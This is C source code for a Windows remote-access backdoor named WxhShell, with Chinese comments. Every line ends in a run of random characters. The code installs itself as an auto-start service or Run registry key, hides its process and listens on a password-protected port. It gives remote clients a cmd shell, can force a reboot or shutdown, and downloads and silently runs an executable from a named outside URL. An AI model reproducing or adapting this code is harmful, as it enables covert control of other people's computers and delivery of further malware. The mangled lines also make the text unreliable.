    closesocket(wsh); SZK)q   
    ExitThread(0); 4gv.E 0Fo  
    } yYG3/Z3u5  
    break; d#vS E.&  
    } 94h_t@Q/1  
  // 关机 0x]OF8=J  
  case 'd': { |`k1zc)9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 38*'8=Y#>  
    if(Boot(SHUTDOWN)) $&xuVBs   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ||'i\X|[  
    else { N[a ljC-R  
    closesocket(wsh); Gdf1+mi  
    ExitThread(0); XAQ\OX#  
    } u>t|X}JH  
    break; @`IXu$Wm(  
    } '!+ P{  
  // 获取shell gI^L 9jE7  
  case 's': { (DG@<K,6  
    CmdShell(wsh); ebO`A2V'(  
    closesocket(wsh); rF8W(E_=  
    ExitThread(0); xq Q~|  
    break; %0+h  
  } <=)D=Ax/_[  
  // 退出 3XApY'  
  case 'x': { \tiUE E|k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g:uvoMUD  
    CloseIt(wsh); WbC0H78]  
    break; 9zoT6QP4  
    } -TK|Y"  
  // 离开 {8!ZKlB  
  case 'q': { {?@t/.4[W3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F=-uDtQ <N  
    closesocket(wsh); .Ca"$2  
    WSACleanup(); "}'8`k+d  
    exit(1); g+>=C   
    break; ;gxN@%}@  
        } xZ.~:V03\t  
  } W9&0k+#^  
  } 93E,  
7d|*postv  
  // 提示信息 x9x#'H3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .])>A')r  
} ba(arGZ+{  
  } .0nn0)"  
OYszW]UMg  
  return; XD $%  
} )(:+q(m  
4 |zdXS  
// shell模块句柄 L;1$xI8tx  
int CmdShell(SOCKET sock) 9SRfjS{7  
{ u( V  
STARTUPINFO si; [K/O5_  
ZeroMemory(&si,sizeof(si)); dN$ 1$B^k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a"0B?3*r46  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4 [R8(U[g  
PROCESS_INFORMATION ProcessInfo; RLYU\@kK?  
char cmdline[]="cmd"; 18DTv6?QG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a)3O? Y  
  return 0; Vl5SL{+D  
} _o@(wGeu#  
G$?|S@I,  
// 自身启动模式 2Ueq6IuQ  
int StartFromService(void) !Y ;H(.A/  
{ N5pinR5 H  
typedef struct P &;y] ,)E  
{ Od0S2hHO  
  DWORD ExitStatus; y-w2O]  
  DWORD PebBaseAddress; Ujce |>Wn  
  DWORD AffinityMask; G0_&gx`  
  DWORD BasePriority; ,{.zh&=4  
  ULONG UniqueProcessId; U0NOU#  
  ULONG InheritedFromUniqueProcessId; w)45SZ.  
}   PROCESS_BASIC_INFORMATION; B#HV20\?v  
+3M$3w{2  
PROCNTQSIP NtQueryInformationProcess; eV[`P&j_C  
P'a0CE%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qn2o[x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !1ML%}vvB,  
t{/hkXq]  
  HANDLE             hProcess; ,sO:$  
  PROCESS_BASIC_INFORMATION pbi; (H&@u9K?a?  
q*~gWn>T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GY oZ$p"C  
  if(NULL == hInst ) return 0; rPRrx-A  
>;&Gz-lm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |HrM_h<X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;EgzC^2e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6OfdD.y  
t9G}Yd[T  
  if (!NtQueryInformationProcess) return 0; kP7a:(P_g  
7cIC&(h5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -'I _*fu  
  if(!hProcess) return 0; k4S} #!  
l% rx#;=u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cqeR<len  
/SnynZ.q  
  CloseHandle(hProcess); :|Z$3q  
R;H?gE^m-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1a<]$tZk  
if(hProcess==NULL) return 0; J__;.rnk  
ykxbX  
HMODULE hMod; S3SV.C:z>  
char procName[255]; 'I&|1I^  
unsigned long cbNeeded; VBu8}}Ql  
z )5S^{(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uA~YRKer  
y)6,0K {k  
  CloseHandle(hProcess); NA+&jV  
XR|"dbZW.0  
if(strstr(procName,"services")) return 1; // 以服务启动 3rxo,pX94  
CXTt(-FT  
  return 0; // 注册表启动 DC&A1I&  
} /@Ez" ?V2  
>Z *iE"9"  
// 主模块 !tI=`Ml[  
int StartWxhshell(LPSTR lpCmdLine) 3DH.4@7P  
{ pss6Oz8  
  SOCKET wsl; _)Qy4[S=d  
BOOL val=TRUE; GP* +  
  int port=0; BEln6zj  
  struct sockaddr_in door; bFSlf5*H  
pFpZbU^  
  if(wscfg.ws_autoins) Install(); ,!`SY)  
#e*X0;m  
port=atoi(lpCmdLine); Ejq=*UOP  
lj)f4zu  
if(port<=0) port=wscfg.ws_port; mV<i JZh  
CoJ55TAW  
  WSADATA data; ^"1TPd|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G-arnu)  
(B&h;U$HAH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $'^&\U~?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YZibi  
  door.sin_family = AF_INET; X6xx2v%D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DR6]-j!FK  
  door.sin_port = htons(port); qh-[L  
Qu`n&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tVunh3-  
closesocket(wsl); :y\09)CJK  
return 1; S."7+g7Ar  
} I0DM=V>;  
hm3jpWi 8  
  if(listen(wsl,2) == INVALID_SOCKET) { Y~az!8j;Z  
closesocket(wsl); kBbl+1{H  
return 1; Uh.Sc:trA  
} *wwhZe4V  
  Wxhshell(wsl); yLW/ -%I#u  
  WSACleanup(); $&IpX M]  
z5 Bi=~=#  
return 0; _F izgs  
\83sSw  
} a"QU:<-v  
k^^:;OR  
// 以NT服务方式启动 uArR\k(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MHo1 lrZa+  
{ >\Z R*CS  
DWORD   status = 0; k5@d! }#c  
  DWORD   specificError = 0xfffffff; 8a9RML}G<  
8Y# bN*!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %w7m\nw@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZW*n /#GUC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JvkL37^ n:  
  serviceStatus.dwWin32ExitCode     = 0; ^n9a " qz  
  serviceStatus.dwServiceSpecificExitCode = 0; !qA8Zky_  
  serviceStatus.dwCheckPoint       = 0; |z~LzSJv  
  serviceStatus.dwWaitHint       = 0; &3Tx@XhO  
x5OC;OQc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1kmQX+f  
  if (hServiceStatusHandle==0) return; ^YKy9zkTl  
Ziz=]D_  
status = GetLastError(); y? "@v.  
  if (status!=NO_ERROR) (S oo<.9~  
{ H0a -(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =Y9\DeIZ  
    serviceStatus.dwCheckPoint       = 0; YUscz!rM  
    serviceStatus.dwWaitHint       = 0; H] k'?;  
    serviceStatus.dwWin32ExitCode     = status; jJ~Y]dQi  
    serviceStatus.dwServiceSpecificExitCode = specificError; zE`R,:VI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+EN@Y^dAV  
    return; /)9W1U^B  
  } ,)h)5o(?  
B!bsTvX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B wC+ov=  
  serviceStatus.dwCheckPoint       = 0; JRO$<  
  serviceStatus.dwWaitHint       = 0; pUCK-rL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ( KTnJZ  
} ioV_oR9I  
<C<`J{X0  
// 处理NT服务事件,比如:启动、停止 iq6a|XGi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xMI+5b8  
{ ~O: U|&  
switch(fdwControl) |)o#|Qo  
{ t};~H\:  
case SERVICE_CONTROL_STOP: TJaeQqob  
  serviceStatus.dwWin32ExitCode = 0; Rg* J}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $ [7 Vgs  
  serviceStatus.dwCheckPoint   = 0; k=/eM$":  
  serviceStatus.dwWaitHint     = 0; g{>^`JtP  
  { 7byCc_,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mJC3@V s  
  } PJgp+u<  
  return; #U=;T]!'$  
case SERVICE_CONTROL_PAUSE: \t3qS eWc/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }q!_!q,@  
  break; E=u/tpj  
case SERVICE_CONTROL_CONTINUE: ;;V\"7q'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KWhZ +i`  
  break; - 8bNQU  
case SERVICE_CONTROL_INTERROGATE: }rbZ&IN\?E  
  break; 6;oe=Q:Q  
}; ;GsQR+en  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /N)5 3!LT  
} 8LJ{i%  
;=jr0\|e  
// 标准应用程序主函数 &|5GB3H =  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) },c,30V'  
{ IfV  3fJ7  
Cd]/  
// 获取操作系统版本 GBP-V66  
OsIsNt=GetOsVer(); ._ CP% R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <7n]Ai@Y  
1H{jy^sP7  
  // 从命令行安装 u3ZCT" !  
  if(strpbrk(lpCmdLine,"iI")) Install(); DQJG,?e{  
&mE?y%  
  // 下载执行文件 ](K0Fwo`;"  
if(wscfg.ws_downexe) { &~-~5B|3"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1S$h<RIPAc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2cf' ,cv@8  
} 2~c~{ jl\  
Yck~xt&]  
if(!OsIsNt) { q\$6F)ha3  
// 如果时win9x,隐藏进程并且设置为注册表启动 cxP6-tV%  
HideProc(); K:5eek  
StartWxhshell(lpCmdLine); u&]vd /  
} N[U9d}Zv  
else >dQK.CG  
  if(StartFromService()) 8#LJ*o  
  // 以服务方式启动 SH8/0g?  
  StartServiceCtrlDispatcher(DispatchTable); ^J x$t/t  
else XnUO*v^]  
  // 普通方式启动 `v nJ4*  
  StartWxhshell(lpCmdLine); ~]uZy=P? 5  
D>sYPrf  
return 0; V"RpH,  
} oRq!=eUu_  
!/I0i8T  
zAScRg$:?  
>V;,#5F_  
=========================================== qv+R:YYOq  
Bjj<\8 ^M  
UUtbD&\  
<I=$ry6 8  
P7GRSjG  
-_8*41  
" ?o[L7JI  
lDc;__}Ws  
#include <stdio.h> =_pwA:z"A  
#include <string.h> r;qzo .  
#include <windows.h> p!W[X%`)  
#include <winsock2.h> z?ucIsbR  
#include <winsvc.h> ;D2E_!N dt  
#include <urlmon.h> WDx Mo`zT  
?Zcj}e.r  
#pragma comment (lib, "Ws2_32.lib") KMjg;! y  
#pragma comment (lib, "urlmon.lib") smU4jh9S  
$v27]"]  
#define MAX_USER   100 // 最大客户端连接数 0 bSA_  
#define BUF_SOCK   200 // sock buffer cF+ X,]=6  
#define KEY_BUFF   255 // 输入 buffer 6*XM7'n  
svhrf;3:  
#define REBOOT     0   // 重启 rPiNv 30L  
#define SHUTDOWN   1   // 关机 \7Cg,Xn  
`l]j#qshTm  
#define DEF_PORT   5000 // 监听端口 ~&VN_;j_  
v}uJtBG(  
#define REG_LEN     16   // 注册表键长度 &__DJ''+  
#define SVC_LEN     80   // NT服务名长度 /"#4T^7&  
(ku5WWJ  
// 从dll定义API _ PWj(});  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K|^wc$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xtfRrX^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RtV.d \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FY#!N L  
=@r--E  
// wxhshell配置信息 qfL-r,XS`F  
struct WSCFG { d*]Ew=^L  
  int ws_port;         // 监听端口 pyB~M9Bp/  
  char ws_passstr[REG_LEN]; // 口令 SGcBmjP  
  int ws_autoins;       // 安装标记, 1=yes 0=no sQ1jrkm  
  char ws_regname[REG_LEN]; // 注册表键名 d53 L65[  
  char ws_svcname[REG_LEN]; // 服务名 4%ZM:/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5cfA;(H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,4@|1z{bfm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LAs7>hM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E5G{B'%j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VWf %v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2WCLS{@'  
e%6{ME 3  
};  [aW =  
{aDFK;qG.  
// default Wxhshell configuration 4zc<GL3[  
struct WSCFG wscfg={DEF_PORT, 45+{nN[  
    "xuhuanlingzhe", @h?crJ6$  
    1, &a)vdlZSE=  
    "Wxhshell", kU*{4G|6  
    "Wxhshell", 0Xl%uF+w  
            "WxhShell Service", \cySWP[  
    "Wrsky Windows CmdShell Service", 'fW#7W  
    "Please Input Your Password: ", Ka-p& Uv1<  
  1, `~F5 wh~  
  "http://www.wrsky.com/wxhshell.exe", Plo,XU  
  "Wxhshell.exe"  i g71/'D  
    }; X>l*v\F9  
G*n2Ii  
// 消息定义模块 PEXq:TA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `rFAZcEj%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mP}#Ccji?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Np,2j KF(  
char *msg_ws_ext="\n\rExit."; =,/D/v$m'2  
char *msg_ws_end="\n\rQuit."; #$1$T  
char *msg_ws_boot="\n\rReboot..."; 4E3g,%9u  
char *msg_ws_poff="\n\rShutdown..."; ecHP &Z$  
char *msg_ws_down="\n\rSave to "; Wk7WK` >i  
Ill[]O  
char *msg_ws_err="\n\rErr!"; n9UKcN-  
char *msg_ws_ok="\n\rOK!"; 3'eG ;<F  
i^2IW&+}e}  
char ExeFile[MAX_PATH]; %|IUqjg  
int nUser = 0; X;GfPw.m  
HANDLE handles[MAX_USER]; !~ rt:Z  
int OsIsNt; _6LoVS  
-T_\f?V88  
SERVICE_STATUS       serviceStatus; _j ;3-m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t&RruwN_;  
O!F]^'!  
// 函数声明 *"9<TSU%m  
int Install(void); _%pAlo_6  
int Uninstall(void); 4<v;1   
int DownloadFile(char *sURL, SOCKET wsh); u<Xog$esu  
int Boot(int flag); H~fdbR  
void HideProc(void);  .5Z_E O  
int GetOsVer(void); /L~m#HxWU  
int Wxhshell(SOCKET wsl); hC<14  
void TalkWithClient(void *cs); Q:o 7G|C  
int CmdShell(SOCKET sock); P]6}\ ]~  
int StartFromService(void); :c8^db`"  
int StartWxhshell(LPSTR lpCmdLine); m4/er539T  
Z85|I.mr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0|Uc d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $99R|^  
?d-70pm  
// 数据结构和表定义 JLm @Ag  
SERVICE_TABLE_ENTRY DispatchTable[] = R}{GwbF_\  
{ 0i@:KYP  
{wscfg.ws_svcname, NTServiceMain}, > <Z'D  
{NULL, NULL} %xlpB75N4N  
}; 1y[B[\  
U[8{_h<#  
// 自我安装 fE25(wCz7  
int Install(void) CZ=0mWfF  
{ Z9 w:&oa@  
  char svExeFile[MAX_PATH]; kX;$}7n  
  HKEY key; ])T/sO#'  
  strcpy(svExeFile,ExeFile); C1B'#F9EO  
T9jw X:n  
// 如果是win9x系统,修改注册表设为自启动 TQ'E5^  
if(!OsIsNt) { e!0OW7 kV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r6Nm!Bq7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r"_Y3SxxL  
  RegCloseKey(key); l5 J.A@0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8LrK94  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i0Pn Z J  
  RegCloseKey(key); |B[eJq  
  return 0; 8z T0_vw  
    } (B#(Z=  
  } dOXD{c  
} x ^vt; $  
else { u{C)qb5Pu  
uHvaZMu  
// 如果是NT以上系统,安装为系统服务 bZ5n,KQA5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MCy~@)-IN  
if (schSCManager!=0) 4rp6 C/i  
{ ]VjLKFb~U  
  SC_HANDLE schService = CreateService _z"o1`{w  
  (  ;}4k{{K  
  schSCManager, L;)v&a7[P  
  wscfg.ws_svcname,  WL-0(  
  wscfg.ws_svcdisp, GU6 qIz|  
  SERVICE_ALL_ACCESS, ;Bs^iL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "tR}j,=S:D  
  SERVICE_AUTO_START, 9k>uRV6  
  SERVICE_ERROR_NORMAL, )I9aC~eAD  
  svExeFile, ukihx?5  
  NULL, DY3:#X`4  
  NULL, n|KKby.$  
  NULL, qgexb\x\4  
  NULL, e\N0@   
  NULL w}k B6o]  
  ); ?r3e*qJGn  
  if (schService!=0) "c Pz|~  
  { QJXdb]Y^;  
  CloseServiceHandle(schService); 8/q*o>[?  
  CloseServiceHandle(schSCManager); uPDaq ]A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &?T${*~  
  strcat(svExeFile,wscfg.ws_svcname); fVUKvZ}P*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L@A9{,9Pl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hqW$k w  
  RegCloseKey(key); 'NjSu64W  
  return 0; rPTfpeqN)  
    } 0yQe5i}  
  } 8=4^Lm  
  CloseServiceHandle(schSCManager); fM:80bn L+  
} 2OCdG  
} RKe?.  
[%~NM/xu<  
return 1; shK&2Noan  
} \=g!$  
%ck`0JZAP  
// 自我卸载 wE2x:Ge:  
int Uninstall(void) #W5Yw>$  
{ /(zB0TEd  
  HKEY key; D_ ug-<QT  
3"tg+DncC  
if(!OsIsNt) { 3- )kwy6L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9::YR;NY  
  RegDeleteValue(key,wscfg.ws_regname); VjTAN=  
  RegCloseKey(key); C yf]`*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (`mOB6j  
  RegDeleteValue(key,wscfg.ws_regname); U_Y;fSl>  
  RegCloseKey(key); n/-N;'2J  
  return 0; {6tx,;r(F  
  } %kW3hQ<$  
} Q9q9<J7j$  
} FB!z#Eim  
else { va+m9R0  
=n)#!i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /cY[at|p  
if (schSCManager!=0) h7RD `k:mF  
{ P^;WB*V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z@nmjji  
  if (schService!=0) n}5x-SxS0  
  { _w%s(dzk  
  if(DeleteService(schService)!=0) { B>aEH b  
  CloseServiceHandle(schService); !vrnoFVu  
  CloseServiceHandle(schSCManager); VY{,x;O`  
  return 0; nOr"K;C  
  } -;S3|  
  CloseServiceHandle(schService); u2om5e:  
  } rr4 _8Rf  
  CloseServiceHandle(schSCManager); -W6V,+of  
} hhj ,rcsi  
} /0!$p[cjm  
v/(__xN`B  
return 1; TP^\e_k  
} lmp R>@o"  
i59k"pNm  
// 从指定url下载文件 U)b &zZc;  
int DownloadFile(char *sURL, SOCKET wsh) T/ Ez*iQW  
{ : n`0)g[(  
  HRESULT hr; b@F_7P%  
char seps[]= "/";  l58l  
char *token; [$H( CH`  
char *file; EK.c+Or,  
char myURL[MAX_PATH]; r 3?5'S`  
char myFILE[MAX_PATH]; ; ?j~8  
qG*_w RF  
strcpy(myURL,sURL); rcW#6VZ=  
  token=strtok(myURL,seps); .Btv}b  
  while(token!=NULL) BiI{8`M!$x  
  { B~e7w 4  
    file=token; U(8I+xZ  
  token=strtok(NULL,seps); 25w6KBTe;:  
  } Ic_tc  
,Zr  YJ<  
GetCurrentDirectory(MAX_PATH,myFILE); WVsK rFZT  
strcat(myFILE, "\\"); uk1v7# p  
strcat(myFILE, file); " gwm23Rpj  
  send(wsh,myFILE,strlen(myFILE),0); 0sY#MHPT&  
send(wsh,"...",3,0); P[6dTZ!\s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #C'o'%!(  
  if(hr==S_OK) Q0_M-^~WT  
return 0;  !zF4 G,W  
else L5TNsLx(  
return 1; '1qAZkz  
&<#/&Pq/i  
} $)Jc-V 6E  
kKNk2!z`M  
// 系统电源模块 7Im}~3NJG  
int Boot(int flag) h^Arb=I  
{ Sk!v,gx  
  HANDLE hToken; ]Oig ..LJ  
  TOKEN_PRIVILEGES tkp; d+1L5}Jn  
+}`p"<'u  
  if(OsIsNt) { ,2E`:#$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n,1NJKX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \qRjXadj  
    tkp.PrivilegeCount = 1; %y!   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U3(L.8(sA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8rnb  
if(flag==REBOOT) { a  [0N,t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \>w@=bq26  
  return 0; EgkZ$ah  
} Y^T-A}?`  
else { k?z [hZg0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B6^w{eXN  
  return 0; %kaTQ"PB  
} aEV|>K=6Y'  
  } n">?LN-DC  
  else { 4Q &Xb <  
if(flag==REBOOT) { ^p'D<!6sK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F%Ro98?{  
  return 0; _ +0uju?o}  
} eimA *0Cq  
else { ".Tf< F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "`y W]v  
  return 0;  m,xy4  
} *S,v$ VX  
} 4'd;'SvF  
}UJdE#4  
return 1; 6~>^pkV  
}  4Ub?*  
weTK#O0@v  
// win9x进程隐藏模块 z{7,.S u  
void HideProc(void) <VauJB*R  
{ #S/pYP`7  
p P_wBX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tF{{cd  
  if ( hKernel != NULL ) sPZV>Q:zY  
  { IIYX|;1}X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nvm1.}=Cnd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZlwcwoPib  
    FreeLibrary(hKernel); z|oA{VxW>  
  } <yX@@8  
h$:&1jVY{  
return; }0(vR_x  
} FE^?U%:u@  
D0,oml  
// 获取操作系统版本 }bj,&c  
int GetOsVer(void) kM6 EZ`mj  
{ SF78 s:_!_  
  OSVERSIONINFO winfo; :BC<+T=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z22|Kv;w  
  GetVersionEx(&winfo); 2- |j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zEA{%)W  
  return 1; FC jYTGA  
  else h|$zHm  
  return 0; & y 2GQJE  
} }lr fO_  
CU} q&6h  
// 客户端句柄模块 [hvig$L  
int Wxhshell(SOCKET wsl) &</ @0  
{ y.TdWnXx  
  SOCKET wsh; sf|_2sI  
  struct sockaddr_in client; D8<0zxc=(  
  DWORD myID; ?45K%;.9Q  
k~W;TCJs  
  while(nUser<MAX_USER) mt&JgA/  
{ uBd =x<c\  
  int nSize=sizeof(client); oPCIlH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E Ni%ge'":  
  if(wsh==INVALID_SOCKET) return 1; ijR*5#5h  
bb0{-T)1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?U2g8D nFY  
if(handles[nUser]==0) ~Krg8s!F&  
  closesocket(wsh); WZDokSR  
else Z_hBd['!  
  nUser++; 2#Q"@  
  } :\ON+LQr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8B% O%*5`  
^.><t+tM  
  return 0; ` Q!FMv6Y^  
} o@Cn_p^X  
mF$jC:Tb  
// 关闭 socket d/-0B<ts  
void CloseIt(SOCKET wsh) @)!1#^(}%  
{ #L)4 |  
closesocket(wsh); 6:7:NIl:  
nUser--; h&^/, G  
ExitThread(0); )H=[NB6J8  
} 1v8:,!C  
dBi3ZC AF  
// 客户端请求句柄 S+bWD7  
void TalkWithClient(void *cs) /Va&k4  
{ SgQmYaa&  
LI5cUCl  
  SOCKET wsh=(SOCKET)cs; ;74 DT  
  char pwd[SVC_LEN]; d$G%F$BTs  
  char cmd[KEY_BUFF]; XDv7#Tv_wv  
char chr[1]; O(WMTa'%  
int i,j; =kZwB*7  
HS|g   
  while (nUser < MAX_USER) { c]/O^/  
tMs| UC  
if(wscfg.ws_passstr) { WZy6K(18"'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Z3I%bkw H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9zM4D  
  //ZeroMemory(pwd,KEY_BUFF); @bVh?T0~F,  
      i=0; | 2c!t$O@v  
  while(i<SVC_LEN) { hG0lR.:  
4OESsN$O  
  // 设置超时 8^ZM U{  
  fd_set FdRead; ct4)faM  
  struct timeval TimeOut; /%@RO^P  
  FD_ZERO(&FdRead); @ #O|  
  FD_SET(wsh,&FdRead); & ,gryBN  
  TimeOut.tv_sec=8; +cplM5X  
  TimeOut.tv_usec=0; L"zgBB?K6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QIxJFr;>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "Qm~;x2kB  
,`B>}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -|iA!w#31  
  pwd=chr[0]; =S7C(;=4  
  if(chr[0]==0xd || chr[0]==0xa) { EKJc)|8  
  pwd=0; W$ d{  
  break; VL,?91qwe  
  } nr9#3 Lb  
  i++; ObHz+qRG  
    } = ,E(!Sp  
_xZb;PbFE  
  // 如果是非法用户,关闭 socket :?of./Df|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WaZ@  
} w<^2h}5  
@'| 6lG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fn0LE~O}-8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *ytd.^@r  
)T~ +>+t  
while(1) { !gH.st  
)<&CnK  
  ZeroMemory(cmd,KEY_BUFF); !5 :1'$d]H  
z_iyuLRdb  
      // 自动支持客户端 telnet标准   :^.87>V7  
  j=0; j$i8@]  
  while(j<KEY_BUFF) { wP *a>a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FYE9&{]h  
  cmd[j]=chr[0]; *V<2\-  
  if(chr[0]==0xa || chr[0]==0xd) { 6'lT`E|  
  cmd[j]=0; FO)nW:8]  
  break; LRlk9:QD>  
  } [AOluS  
  j++; oDiv9 jm  
    } lNp:2P  
a\j\eMC  
  // 下载文件 V?=zuB?'  
  if(strstr(cmd,"http://")) { z&/ o  
